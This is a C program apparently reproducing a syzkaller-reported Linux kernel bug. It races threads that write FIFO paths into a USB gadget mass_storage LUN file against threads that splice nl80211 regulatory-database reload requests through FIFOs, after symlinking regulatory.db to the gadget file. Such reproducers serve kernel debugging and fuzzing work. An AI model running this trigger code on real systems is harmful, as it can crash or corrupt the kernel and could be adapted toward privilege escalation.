// https://syzkaller.appspot.com/bug?id=61009adae86232068115ae46e831dd3c7a2c8ff0 #define _GNU_SOURCE #include #include #include #include #include #include #include #include #include #include #include #include #include #include #ifndef GENLMSG_DATA #define GENLMSG_DATA(glh) ((void *)(NLMSG_DATA(glh) + GENL_HDRLEN)) #endif #ifndef NLA_DATA #define NLA_DATA(na) ((void *)((char*)(na) + NLA_HDRLEN)) #endif #ifndef NLA_NEXT #define NLA_NEXT(na,len) ((len) -= NLA_ALIGN((na)->nla_len), \ (struct nlattr*)((char*)(na) + NLA_ALIGN((na)->nla_len))) #endif #ifndef NLA_OK #define NLA_OK(na,len) ((len) >= (int)sizeof(struct nlattr) && \ (na)->nla_len >= sizeof(struct nlattr) && \ (na)->nla_len <= (len)) #endif #define CTRL_ATTR_FAMILY_ID 1 #define CTRL_ATTR_FAMILY_NAME 2 int resolve_nl80211() { int fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_GENERIC); if (fd < 0) { printf("[-] socket NETLINK_GENERIC failed: %s\n", strerror(errno)); exit(1); } struct { struct nlmsghdr n; struct genlmsghdr g; char buf[256]; } req = {0}; req.n.nlmsg_len = NLMSG_LENGTH(GENL_HDRLEN); req.n.nlmsg_type = GENL_ID_CTRL; req.n.nlmsg_flags = NLM_F_REQUEST; req.g.cmd = CTRL_CMD_GETFAMILY; req.g.version = 1; struct nlattr *na = (struct nlattr *) GENLMSG_DATA(&req); na->nla_type = CTRL_ATTR_FAMILY_NAME; na->nla_len = NLA_HDRLEN + 8; strcpy((char *) NLA_DATA(na), "nl80211"); req.n.nlmsg_len += NLMSG_ALIGN(na->nla_len); if (send(fd, &req, req.n.nlmsg_len, 0) < 0) { printf("[-] send GETFAMILY failed: %s\n", strerror(errno)); exit(1); } struct { struct nlmsghdr n; struct genlmsghdr g; char buf[512]; } ans; if (recv(fd, &ans, sizeof(ans), 0) <= 0) { printf("[-] recv GETFAMILY failed: %s\n", strerror(errno)); exit(1); } struct nlattr *a = (struct nlattr *) GENLMSG_DATA(&ans); int len = ans.n.nlmsg_len - NLMSG_LENGTH(GENL_HDRLEN); while (NLA_OK(a, len)) { if (a->nla_type == CTRL_ATTR_FAMILY_ID) { int id = *(__u16 *) NLA_DATA(a); close(fd); return id; } a = NLA_NEXT(a, len); } close(fd); return 0; } int nl80211_id; volatile int stop = 0; void *thread_writer(void *arg) { int id = (int)(long)arg; char fifo_name[64]; sprintf(fifo_name, "/tmp/myfifo%d\n", id); while (!stop) { int fd_conf = open("/sys/kernel/config/usb_gadget/g1/functions/mass_storage.0/lun.0/file", O_WRONLY); if (fd_conf < 0) { printf("[-] open lun.0/file failed: %s\n", strerror(errno)); exit(1); } if (write(fd_conf, fifo_name, strlen(fifo_name)) < 0) { if (errno != EINVAL) { printf("[-] write lun.0/file failed: %s\n", strerror(errno)); exit(1); } } close(fd_conf); } return NULL; } void *thread_splicer(void *arg) { int id = (int)(long)arg; char fifo_name[64]; sprintf(fifo_name, "/tmp/myfifo%d", id); if (nl80211_id <= 0) return NULL; int nl_fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_GENERIC); if (nl_fd < 0) { printf("[-] socket NETLINK_GENERIC failed: %s\n", strerror(errno)); exit(1); } fcntl(nl_fd, F_SETFL, O_NONBLOCK); int fifo_rd = open(fifo_name, O_RDONLY | O_NONBLOCK); if (fifo_rd < 0) { printf("[-] open fifo_rd failed: %s\n", strerror(errno)); exit(1); } int fifo_wr = open(fifo_name, O_WRONLY | O_NONBLOCK); if (fifo_wr < 0) { printf("[-] open fifo_wr failed: %s\n", strerror(errno)); exit(1); } while (!stop) { struct { struct nlmsghdr n; struct genlmsghdr g; } req = {0}; req.n.nlmsg_len = sizeof(req); req.n.nlmsg_type = nl80211_id; req.n.nlmsg_flags = NLM_F_REQUEST; req.g.cmd = 126; // NL80211_CMD_RELOAD_REGDB req.g.version = 1; int wret = write(fifo_wr, &req, sizeof(req)); if (wret < 0) { if (errno != EAGAIN) { printf("[-] write fifo_wr failed: %s\n", strerror(errno)); exit(1); } } else { int sret = splice(fifo_rd, NULL, nl_fd, NULL, sizeof(req), 0); if (sret < 0) { if (errno != EAGAIN && errno != ENOBUFS && errno != ECONNREFUSED && errno != EPERM && errno != EACCES) { printf("[-] splice failed: %s\n", strerror(errno)); exit(1); } } char dummy[512]; while (read(fifo_rd, dummy, sizeof(dummy)) > 0) {} } } close(fifo_rd); close(fifo_wr); close(nl_fd); return NULL; } int main() { setvbuf(stdout, NULL, _IONBF, 0); if (mkdir("/sys/kernel/config", 0777) < 0 && errno != EEXIST) { printf("[-] mkdir /sys/kernel/config failed: %s\n", strerror(errno)); exit(1); } if (mount("configfs", "/sys/kernel/config", "configfs", 0, NULL) < 0 && errno != EBUSY) { printf("[-] mount configfs failed: %s\n", strerror(errno)); exit(1); } if (mkdir("/sys/kernel/config/usb_gadget", 0777) < 0 && errno != EEXIST) { printf("[-] mkdir usb_gadget failed: %s\n", strerror(errno)); exit(1); } if (mkdir("/sys/kernel/config/usb_gadget/g1", 0777) < 0 && errno != EEXIST) { printf("[-] mkdir g1 failed: %s\n", strerror(errno)); exit(1); } if (mkdir("/sys/kernel/config/usb_gadget/g1/functions", 0777) < 0 && errno != EEXIST) { printf("[-] mkdir functions failed: %s\n", strerror(errno)); exit(1); } if (mkdir("/sys/kernel/config/usb_gadget/g1/functions/mass_storage.0", 0777) < 0 && errno != EEXIST) { printf("[-] mkdir mass_storage.0 failed: %s\n", strerror(errno)); exit(1); } printf("[+] configfs and gadget directories created.\n"); if (mkdir("/lib/firmware", 0777) < 0 && errno != EEXIST) { printf("[-] mkdir /lib/firmware failed: %s\n", strerror(errno)); exit(1); } if (mount("tmpfs", "/lib/firmware", "tmpfs", 0, NULL) < 0) { printf("[-] mount tmpfs on /lib/firmware failed: %s\n", strerror(errno)); exit(1); } unlink("/lib/firmware/regulatory.db"); if (symlink("/sys/kernel/config/usb_gadget/g1/functions/mass_storage.0/lun.0/file", "/lib/firmware/regulatory.db") < 0) { printf("[-] symlink failed: %s\n", strerror(errno)); exit(1); } printf("[+] Symlink created.\n"); nl80211_id = resolve_nl80211(); if (nl80211_id <= 0) { printf("[-] Failed to resolve nl80211\n"); return 1; } printf("[+] nl80211 ID: %d\n", nl80211_id); int num_pairs = 4; pthread_t t_writers[num_pairs]; pthread_t t_splicers[num_pairs]; for (int i = 0; i < num_pairs; i++) { char fifo_name[64]; sprintf(fifo_name, "/tmp/myfifo%d", i); unlink(fifo_name); if (mkfifo(fifo_name, 0666) < 0) { printf("[-] mkfifo %s failed: %s\n", fifo_name, strerror(errno)); return 1; } if (pthread_create(&t_writers[i], NULL, thread_writer, (void *)(long)i) != 0) { printf("[-] pthread_create writer failed: %s\n", strerror(errno)); return 1; } if (pthread_create(&t_splicers[i], NULL, thread_splicer, (void *)(long)i) != 0) { printf("[-] pthread_create splicer failed: %s\n", strerror(errno)); return 1; } } printf("[*] Racing for 5 seconds...\n"); sleep(5); stop = 1; for (int i = 0; i < num_pairs; i++) { pthread_join(t_writers[i], NULL); pthread_join(t_splicers[i], NULL); } printf("[+] Done.\n"); return 0; }